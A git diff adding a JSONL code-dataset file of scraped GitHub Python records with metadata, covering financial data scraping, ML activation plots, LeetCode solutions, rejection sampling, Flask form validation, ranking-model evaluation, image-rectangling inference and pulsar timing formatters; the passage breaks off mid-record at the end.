diff --git "a/1302.jsonl" "b/1302.jsonl" new file mode 100644--- /dev/null +++ "b/1302.jsonl" @@ -0,0 +1,514 @@ +{"seq_id": "32740899220", "text": "from common.base import Base\nimport tushare as ts\n\n'''\n龙虎榜数据：\n 每日龙虎榜列表\n 个股上榜统计\n 营业部上榜统计\n 龙虎榜机构席位追踪\n 龙虎榜机构席位成交明细\n'''\nclass LonghuBang(object):\n def __init__(self):\n super(LonghuBang,self).__init__()\n\n def __call__(self,conns):\n self.base=Base()\n self.financial_data=conns['financial_data']\n date=self.base.gettoday().replace('/','-')\n # print(date)\n\n # '''每日龙虎榜列表'''\n # for day in self.base.datelist('20180702','20180705'):\n # day=day.replace('/','-')\n # top_list=ts.top_list(day)\n # self.base.batchwri(top_list,'top_list',self.financial_data)\n\n # '''\n # 名称：个股上榜统计\n # 参数说明：\n # days：统计周期5、10、30和60日，默认为5日\n # retry_count：当网络异常后重试次数，默认为3\n # pause:重试时停顿秒数，默认为0'''\n # cap_tops=ts.cap_tops()\n # self.base.batchwri(cap_tops,'cap_tops',self.financial_data)\n\n # '''\n # 名称：营业部上榜统计\n # 参数说明：\n # days：统计周期5、10、30和60日，默认为5日\n # retry_count：当网络异常后重试次数，默认为3\n # pause:重试时停顿秒数，默认为0'''\n # broker_tops=ts.broker_tops()\n # self.base.batchwri(broker_tops,'broker_tops',self.financial_data)\n\n # '''\n # 名称：机构席位追踪\n # 参数说明：\n # days：统计周期5、10、30和60日，默认为5日\n # retry_count：当网络异常后重试次数，默认为3\n # pause:重试时停顿秒数，默认为0\n # '''\n # inst_tops=ts.inst_tops()\n # self.base.batchwri(inst_tops,'inst_tops',self.financial_data)\n\n '''机构成交明细'''\n inst_detail=ts.inst_detail()\n self.base.batchwri(inst_detail,'inst_detail',self.financial_data)\n\nif __name__ == \"__main__\":\n\n base = Base()\n financial_data = base.conn('financial_data')\n conns = {'financial_data': financial_data}\n shibor = LonghuBang()\n shibor(conns)\n financial_data.close()", "repo_name": "tomhahaha/financial_data", "sub_path": "APP/longhubang.py", "file_name": "longhubang.py", "file_ext": "py", "file_size_in_byte": 2319, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "common.base.Base", "line_number": 17, "usage_type": "call"}, {"api_name": "tushare.inst_detail", "line_number": 57, "usage_type": "call"}, {"api_name": "common.base.Base", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "10897214219", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndef softmax(x):\n return np.exp(x)/float(sum(np.exp(x)))\n\ndef sigmoid(xx):\n sigmoid_deger=[1/float(1+np.exp(-x)) for x in xx]\n return sigmoid_deger\n\n\n\"\"\"\ndef line_graph_sigmoid(x,y,x_title,y_title):\n\n plt.plot(x,y,c='green')\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n plt.show()\n\"\"\"\ndef line_graph(x,y,yy,x_title,y_title):\n\n plt.plot(x,y,c='red')\n plt.plot(x,yy,c='green')\n plt.xlabel(x_title)\n plt.ylabel(y_title)\n plt.text(-1,0.8,\"Sigmoid>\")\n plt.text(6.3,0.6,\"Softmax>\")\n plt.show()\n\n\n\n\ngraph_x=range(-10,10)\ngraph_y=softmax(graph_x)\ngraph_y1=sigmoid(graph_x)\n\n\nline_graph(graph_x, graph_y,graph_y1, \"Inputs\", \"Scores\")\n#line_graph_sigmoid(graph_x,graph_y1,\"Inputs\",\"Sigmoid Score\")\n", "repo_name": "slhcelik45/Softmax-Sigmoid-Function", "sub_path": "SoftMax&Sigmoid.py", "file_name": "SoftMax&Sigmoid.py", "file_ext": "py", "file_size_in_byte": 779, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.exp", "line_number": 5, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 8, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 27, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}]} +{"seq_id": "18432977711", "text": "from collections import deque\n\nclass Solution:\n def sequenceReconstruction(self, org: List[int], seqs: List[List[int]]) -> bool:\n values = {x for seq in seqs for x in seq}\n graph = {x: [] for x in values}\n indegrees = {x: 0 for x in values}\n for seq in seqs:\n for i in range(len(seq) - 1):\n s = seq[i]\n t = seq[i+1]\n graph[s].append(t)\n indegrees[t] += 1\n queue = collections.deque()\n for node, count in indegrees.items():\n if count == 0:\n queue.append(node)\n res = []\n while queue:\n if len(queue) != 1:\n return False\n source = queue.popleft()\n res.append(source)\n for target in graph[source]:\n indegrees[target] -= 1\n if indegrees[target] == 0:\n queue.append(target)\n return len(res) == len(values) and res == org", "repo_name": "baoooliang/LeetCode", "sub_path": "SequenceReconstruction.py", "file_name": "SequenceReconstruction.py", "file_ext": "py", "file_size_in_byte": 985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "collections.deque", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "36820547847", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ndef expdist(x):\n if x >= 0:\n return np.exp(-x)\n return 0\n\ndef cauchydist(x):\n return 1/(1 + x**2)\n\ndef invCauchy(x):\n return np.tan(np.pi*x - (np.pi/2))\n\ndef rejection_sample(f, g, gdist, N):\n \"\"\"\n rejection sampling of a distribution f from a bounding distribution g.\n f: target distribution probability density function\n g: sampling distribution probability density function\n gdist: sampling distribution inverse CDF for producing random samples from uniform dist on [0, 1]\n N: length of output.\n \"\"\"\n output = np.zeros(N)\n total = 0\n for i in range(N):\n Next = False\n while not Next:\n total += 1\n xg = gdist(np.random.rand())\n u = np.random.rand()\n if u < ( f(xg)/g(xg) ):\n output[i] = xg\n Next = True\n\n return output, total\n\nN = 100000\nexpsample, totaltries = rejection_sample(expdist, cauchydist, invCauchy, N)\nprint(f'Efficiency: {N/totaltries}')\n\nplt.figure()\nplt.title('Rejection sampling exponential distribution')\nplt.hist(expsample, 100, density=True, label='Normalized rejection sampling histogram')\nplt.plot(np.linspace(0, 10, 1000), np.exp(-np.linspace(0, 10, 1000)), label=r'$e^{-x}$')\nplt.xlabel('x')\nplt.ylabel('p(x)')\nplt.legend()\nplt.show()\n\n", "repo_name": "teolemay/PHYS_512", "sub_path": "ProblemSet7/Q2_rejection.py", "file_name": "Q2_rejection.py", "file_ext": "py", "file_size_in_byte": 1353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.exp", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.tan", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 13, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 29, "usage_type": "attribute"}, {"api_name": "numpy.random.rand", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}]} +{"seq_id": "10761466242", "text": "from flask_wtf import FlaskForm\nfrom wtforms import StringField, TextAreaField\nfrom wtforms.validators import DataRequired, Email, ValidationError, Regexp\n\ndef name_required(form, field):\n full_name = field.data\n if len(full_name) <= 0:\n raise ValidationError('Name required.')\n\ndef username_required(form, field):\n username = field.data\n if len(username) <= 0:\n raise ValidationError('Username required.')\n\ndef email_required(form, field):\n email = field.data\n if len(email) <= 0:\n raise ValidationError('Email required.')\n\ndef bio_length(form, field):\n bio = field.data\n if len(bio) > 150:\n raise ValidationError('Bio must be 150 characters or less.')\n\ndef phone_length(form, field):\n phone_number = field.data\n if len(phone_number) > 10:\n raise ValidationError('Please enter valid U.S. phone number.')\n\nclass EditUserForm(FlaskForm):\n fullName = StringField('fullName', validators=[name_required])\n username = StringField(\n 'username', validators=[username_required])\n website = StringField('website',\n # validators=[Regexp('(www.)?[a-zA-Z0-9@:%._\\\\+~#?&//=]{2,256}\\\\.[a-z]{2,6}\\\\b([-a-zA-Z0-9@:%._\\\\+~#?&//=]*)', message='Please provide a valid website')]\n )\n bio = TextAreaField('bio', validators=[bio_length])\n email = StringField('email', validators=[email_required])\n phoneNumber = StringField('phoneNumber',\n # validators=[Regexp('^(\\\\d{3}[- ]?){2}\\\\d{4}$', message=\"Please provide a valid phone number.\")]\n )\n gender = StringField('gender')\n", "repo_name": "bo-codes/bobogram", "sub_path": "app/forms/edituser_form.py", "file_name": "edituser_form.py", "file_ext": "py", "file_size_in_byte": 1556, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "wtforms.validators.ValidationError", "line_number": 8, "usage_type": "call"}, {"api_name": "wtforms.validators.ValidationError", "line_number": 13, "usage_type": "call"}, {"api_name": "wtforms.validators.ValidationError", "line_number": 18, "usage_type": "call"}, {"api_name": "wtforms.validators.ValidationError", "line_number": 23, "usage_type": "call"}, {"api_name": "wtforms.validators.ValidationError", "line_number": 28, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 30, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 31, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 32, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 34, "usage_type": "call"}, {"api_name": "wtforms.TextAreaField", "line_number": 37, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 38, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 39, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "44942381551", "text": "import torch\nimport dataset\n\nimport ipdb\n\nclass PointwiseRanker(torch.nn.Module):\n\n def __init__(self, input_dim=501, architecture=[100], output_dim=1):\n super(PointwiseRanker, self).__init__()\n\n self.layers = torch.nn.ModuleList()\n\n prev_layer = input_dim\n for layer in architecture:\n self.layers.append(torch.nn.Linear(prev_layer, layer))\n self.layers.append(torch.nn.LeakyReLU(0.2))\n prev_layer = layer\n self.layers.append(torch.nn.Linear(prev_layer, output_dim))\n\n print(self.layers)\n\n def forward(self, x):\n for layer in self.layers:\n x = layer(x)\n return x\n\nclass ListWiseRankNet(torch.nn.Module):\n\n def __init__(self, input_dim=501, architecture=[64, 32], output_dim=1):\n super(ListWiseRankNet, self).__init__()\n\n self.layers = torch.nn.ModuleList()\n\n prev_layer = input_dim\n for layer in architecture:\n self.layers.append(torch.nn.Linear(prev_layer, layer))\n self.layers.append(torch.nn.LeakyReLU(0.2))\n prev_layer = layer\n self.layers.append(torch.nn.Linear(prev_layer, output_dim))\n self.sigmoid = torch.nn.Sigmoid()\n\n def forward(self, x):\n for layer in self.layers:\n x = layer(x)\n x = self.sigmoid(x) * 4\n return x\n\n\nclass RankNet(torch.nn.Module):\n\n def __init__(self, input_dim=501, architecture=[64, 32], output_dim=1):\n super(RankNet, self).__init__()\n\n self.layers = torch.nn.ModuleList()\n\n prev_layer = input_dim\n for layer in architecture:\n self.layers.append(torch.nn.Linear(prev_layer, layer))\n self.layers.append(torch.nn.LeakyReLU(0.2))\n prev_layer = layer\n self.layers.append(torch.nn.Linear(prev_layer, output_dim))\n self.sigmoid = torch.nn.Sigmoid()\n\n def forward(self, x):\n for layer in self.layers:\n x = layer(x)\n x = self.sigmoid(x)\n return x * 4\n\n\n\nDEVICE = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n\nloss = torch.nn.MSELoss().to(DEVICE)\n\ndata = dataset.get_dataset().get_data_folds()[0]\ndata.read_data()\n\ndata = data.test\n\nX_cuda = torch.tensor(data.feature_matrix).float().to(DEVICE)\ny_cuda = torch.tensor(data.label_vector).float().to(DEVICE)\n\nX = torch.tensor(data.feature_matrix).float()\ny = torch.tensor(data.label_vector).float()\n\n\npoint = PointwiseRanker(architecture=[150,150,150,150,150]).to(DEVICE)\npoint.load_state_dict(torch.load(\"./saved_models/pointwise_lameopslaanmanierversie.pt\"))\npoint.eval()\n\nout_point = point(X_cuda)\n\npair = RankNet(architecture=[500,500])\npair.load_state_dict(torch.load(\"./saved_models/ranknet_spedup_1e-05_[500, 500].pt\"))\npair.eval()\n\nout_pair = pair(X)\n\nlistWise = ListWiseRankNet(architecture=[200])\nlistWise.load_state_dict(torch.load(\"./saved_models/lambdarank_1e-05_[200]\"))\nlistWise.eval()\n\nout_list = listWise(X)\n\nloss_point = loss(out_point.squeeze(), y_cuda)\n\nloss_pair = loss(out_pair, y)\n\nloss_list = loss(out_list, y)\n\n# ipdb.set_trace()\n\nprint(f\"\\n\\nloss for pointwise: {loss_point}\\nloss for pairwise: {loss_pair}\\nloss for listwise: {loss_list}\\n\\n\")", "repo_name": "davidvos/master-projects", "sub_path": "learn-to-rank/analysis4_2.py", "file_name": "analysis4_2.py", "file_ext": "py", "file_size_in_byte": 3192, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "torch.nn", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 11, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "attribute"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 37, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 39, "usage_type": "attribute"}, {"api_name": "torch.nn.Sigmoid", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 49, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleList", "line_number": 54, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 54, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.nn.Linear", "line_number": 61, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 61, "usage_type": "attribute"}, {"api_name": "torch.nn.Sigmoid", "line_number": 62, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 62, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torch.nn.MSELoss", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "attribute"}, {"api_name": "dataset.get_dataset", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 85, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 86, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 102, "usage_type": "call"}]} +{"seq_id": "15999913062", "text": "import tensorflow as tf\nimport os\nimport time\nimport numpy as np\nimport pickle\nimport cv2 \n\nfrom PIL import Image\nfrom model import RectanglingNetwork\nfrom utils import load, save, DataLoader\nimport matplotlib.pyplot as plt\nimport skimage\nimport imageio\n\n\nimport constant\nos.environ['CUDA_DEVICES_ORDER'] = \"PCI_BUS_ID\"\nos.environ['CUDA_VISIBLE_DEVICES'] = constant.GPU\n\ntest_folder = constant.TEST_FOLDER\nbatch_size = constant.TEST_BATCH_SIZE\n\n\n\nsnapshot_dir = constant.SNAPSHOT_DIR + '/pretrained_model/model.ckpt-100000'\n#snapshot_dir = './checkpoints/model.ckpt-100000'\n\n\nbatch_size = 1\n\n# define dataset\nwith tf.name_scope('dataset'):\n ##########testing###############\n test_inputs_clips_tensor = tf.placeholder(shape=[batch_size, None, None, 3 * 3], dtype=tf.float32)\n \n test_input = test_inputs_clips_tensor[...,0:3]\n test_mask = test_inputs_clips_tensor[...,3:6]\n test_gt = test_inputs_clips_tensor[...,6:9]\n \n print('test input = {}'.format(test_input))\n print('test mask = {}'.format(test_mask))\n print('test gt = {}'.format(test_gt))\n\n\n\n# define testing generator function \nwith tf.variable_scope('generator', reuse=None):\n print('testing = {}'.format(tf.get_variable_scope().name))\n test_mesh_primary, test_warp_image_primary, test_warp_mask_primary, test_mesh_final, test_warp_image_final, test_warp_mask_final = RectanglingNetwork(test_input, test_mask)\n \n\n\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True \nwith tf.Session(config=config) as sess:\n # dataset\n input_loader = DataLoader(test_folder)\n\n # initialize weights\n sess.run(tf.global_variables_initializer())\n print('Init global successfully!')\n\n # tf saver\n saver = tf.train.Saver(var_list=tf.global_variables(), max_to_keep=None)\n\n restore_var = [v for v in tf.global_variables()]\n loader = tf.train.Saver(var_list=restore_var)\n\n def inference_func(ckpt):\n print(\"============\")\n print(ckpt)\n load(loader, sess, ckpt)\n print(\"============\")\n length = 519 #len(os.listdir(test_folder+\"/input\"))\n psnr_list = []\n ssim_list = []\n\n for i in range(0, length):\n input_clip = np.expand_dims(input_loader.get_data_clips(i), axis=0)\n \n\n mesh_primary, warp_image_primary, warp_mask_primary, mesh_final, warp_image_final, warp_mask_final = sess.run([test_mesh_primary, test_warp_image_primary, test_warp_mask_primary, test_mesh_final, test_warp_image_final, test_warp_mask_final], feed_dict={test_inputs_clips_tensor: input_clip})\n \n \n warp_image = (warp_image_final[0]+1) * 127.5\n warp_gt = (input_clip[0,:,:,6:9]+1) * 127.5\n \n #psnr = skimage.measure.compare_psnr(input1*warp_one, warp*warp_one, 255)\n psnr = skimage.measure.compare_psnr(warp_image, warp_gt, 255)\n ssim = skimage.measure.compare_ssim(warp_image, warp_gt, data_range=255, multichannel=True)\n \n path = \"../final_rectangling/\" + str(i+1).zfill(5) + \".jpg\"\n cv2.imwrite(path, warp_image)\n \n print('i = {} / {}, psnr = {:.6f}'.format( i+1, length, psnr))\n \n psnr_list.append(psnr)\n ssim_list.append(ssim)\n \n \n print(\"===================Results Analysis==================\") \n print('average psnr:', np.mean(psnr_list))\n print('average ssim:', np.mean(ssim_list))\n # as for FID, we use the CODE from https://github.com/bioinf-jku/TTUR to evaluate\n \n \n \n inference_func(snapshot_dir)\n\n \n\n\n\n\n\n\n", "repo_name": "nie-lang/DeepRectangling", "sub_path": "Codes/inference.py", "file_name": "inference.py", "file_ext": "py", "file_size_in_byte": 3651, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 181, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "constant.GPU", "line_number": 18, "usage_type": "attribute"}, {"api_name": "constant.TEST_FOLDER", "line_number": 20, "usage_type": "attribute"}, {"api_name": "constant.TEST_BATCH_SIZE", "line_number": 21, "usage_type": "attribute"}, {"api_name": "constant.SNAPSHOT_DIR", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.name_scope", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.placeholder", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.variable_scope", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.get_variable_scope", "line_number": 48, "usage_type": "call"}, {"api_name": "model.RectanglingNetwork", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.ConfigProto", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.Session", "line_number": 55, "usage_type": "call"}, {"api_name": "utils.DataLoader", "line_number": 57, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 60, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 64, "usage_type": "attribute"}, {"api_name": "tensorflow.global_variables", "line_number": 64, "usage_type": "call"}, {"api_name": "tensorflow.global_variables", "line_number": 66, "usage_type": "call"}, {"api_name": "tensorflow.train.Saver", "line_number": 67, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 67, "usage_type": "attribute"}, {"api_name": "utils.load", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 79, "usage_type": "call"}, {"api_name": "skimage.measure.compare_psnr", "line_number": 89, "usage_type": "call"}, {"api_name": "skimage.measure", "line_number": 89, "usage_type": "attribute"}, {"api_name": "skimage.measure.compare_ssim", "line_number": 90, "usage_type": "call"}, {"api_name": "skimage.measure", "line_number": 90, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 103, "usage_type": "call"}]} +{"seq_id": "375287377", "text": "\"\"\"\nTOA formatter functions.\n\nPatrick Lazarus, Dec 9, 2012\n\"\"\"\nimport config\n\ndef princeton_formatter(toas, flags=[]):\n \"\"\"Return timfile lines in princeton format.\n \n Inputs:\n toas: A list of TOAs.\n flags: A single string containing flags to add to each TOA.\n NOTE: These are ignored! The princeton TOA format\n does _not_ support flags.\n\n Output:\n timlines: A list of lines to be written into the timfile.\n \"\"\"\n timlines = []\n for toa in toas:\n fmjdstr = \"%.13f\" % toa['fmjd']\n mjd = (\"%5d\" % toa['imjd']) + (fmjdstr[fmjdstr.index('.'):])\n timlines.append(\"%s %8.3f %s %8.2f\" % \\\n (toa['telescope_code'], toa['freq'], \\\n mjd, toa['toa_unc_us']))\n return timlines\n \n\ndef tempo2_formatter(toas, flags=[]):\n \"\"\"Return timfile lines in TEMPO2 format.\n \n Inputs:\n toas: A list of TOAs.\n flags: A single string of flags to add to each TOA.\n\n Output:\n timlines: A list of lines to be written into the timfile.\n \"\"\"\n timlines = [\"FORMAT 1\"]\n for toa in toas:\n fmjdstr = str(toa['fmjd'])\n mjd = \"%5d%s\" % (toa['imjd'], fmjdstr[fmjdstr.index('.'):])\n toastr = \"%s %.3f %s %.3f %s\" % \\\n (toa['rawfile'], toa['freq'], mjd, \\\n toa['toa_unc_us'], toa['telescope_code'])\n flagstrs = []\n for name, valuetag in flags:\n try:\n value = valuetag % toa\n except TypeError:\n value = config.cfg.missing_flag_value\n if value is not None:\n flagstrs.append(\"-%s %s\" % (name, value))\n timlines.append(\"%s %s\" % (toastr, \" \".join(flagstrs)))\n return timlines\n\n\n", "repo_name": "plazar/TOASTER", "sub_path": "toolkit/timfiles/formatters.py", "file_name": "formatters.py", "file_ext": "py", "file_size_in_byte": 1862, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "config.cfg", "line_number": 52, "usage_type": "attribute"}]} +{"seq_id": "11304456190", "text": "from functools import reduce\nfrom operator import mul\n\nout = []\npush = out.append\n\na = int(input())\n\nfor _ in range(a):\n ans = reduce(mul, (int(x) for x in input()))\n push(ans)\nprint(*out, sep='\\n')\n", "repo_name": "TheLurkingCat/ZeroJudge", "sub_path": "a-series/a149.py", "file_name": "a149.py", "file_ext": "py", "file_size_in_byte": 205, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "functools.reduce", "line_number": 10, "usage_type": "call"}, {"api_name": "operator.mul", "line_number": 10, "usage_type": "argument"}]} +{"seq_id": "17656667920", "text": "__author__ = 'loi'\nimport ast\nwith open(\"inlist.data\", 'r') as f:\n in_list = ast.literal_eval(f.read())\n\nwith open(\"outlist.data\", 'r') as f:\n out_list = ast.literal_eval(f.read())\n\nimport matplotlib.pyplot as plt\nimport numpy\n\nplt.hist(in_list, bins=30, alpha=0.5, log=True, label='Same ORG')\nplt.hist(out_list, bins=30, alpha=0.5, log=True, label='Diff ORG')\nplt.title(\"Distance histogram\")\nplt.xlabel(\"Distance\")\nplt.ylabel(\"Frequency\")\nplt.legend()\nplt.show()\n", "repo_name": "loiluu/cs5345.a3", "sub_path": "code/printq2.py", "file_name": "printq2.py", "file_ext": "py", "file_size_in_byte": 470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "ast.literal_eval", "line_number": 4, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 7, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 12, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 13, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 13, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 14, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}]} +{"seq_id": "51058066956", "text": "\nimport numpy as np\nimport cv2\nimport h5py\nimport glob\nfrom sklearn.model_selection import train_test_split\n\n\nmap_characters = {0: 'cats', 1: 'dogs'}\n\npic_size = 64\nnum_classes = len(map_characters)\npictures_per_class = 12500\ntest_size = 0.15\n\n\n# load_pictures(): load pictures and labels from the characters folder\ndef load_pictures(BGR):\n \"\"\"\n Load pictures from folders for characters from the map_characters dict and create a numpy dataset and\n a numpy labels set. Pictures are re-sized into picture_size square.\n :param BGR: boolean to use true color for the picture (RGB instead of BGR for plt)\n :return: dataset, labels set\n \"\"\"\n pics = []\n labels = []\n\n # for loops: https://wiki.python.org/moin/ForLoop\n # dict.items(): \\\n # https://stackoverflow.com/questions/10458437/what-is-the-difference-between-dict-items-and-dict-iteritems\n # this for loop is used for: the traversal of the map_characters, k is the key and char is the value\n for 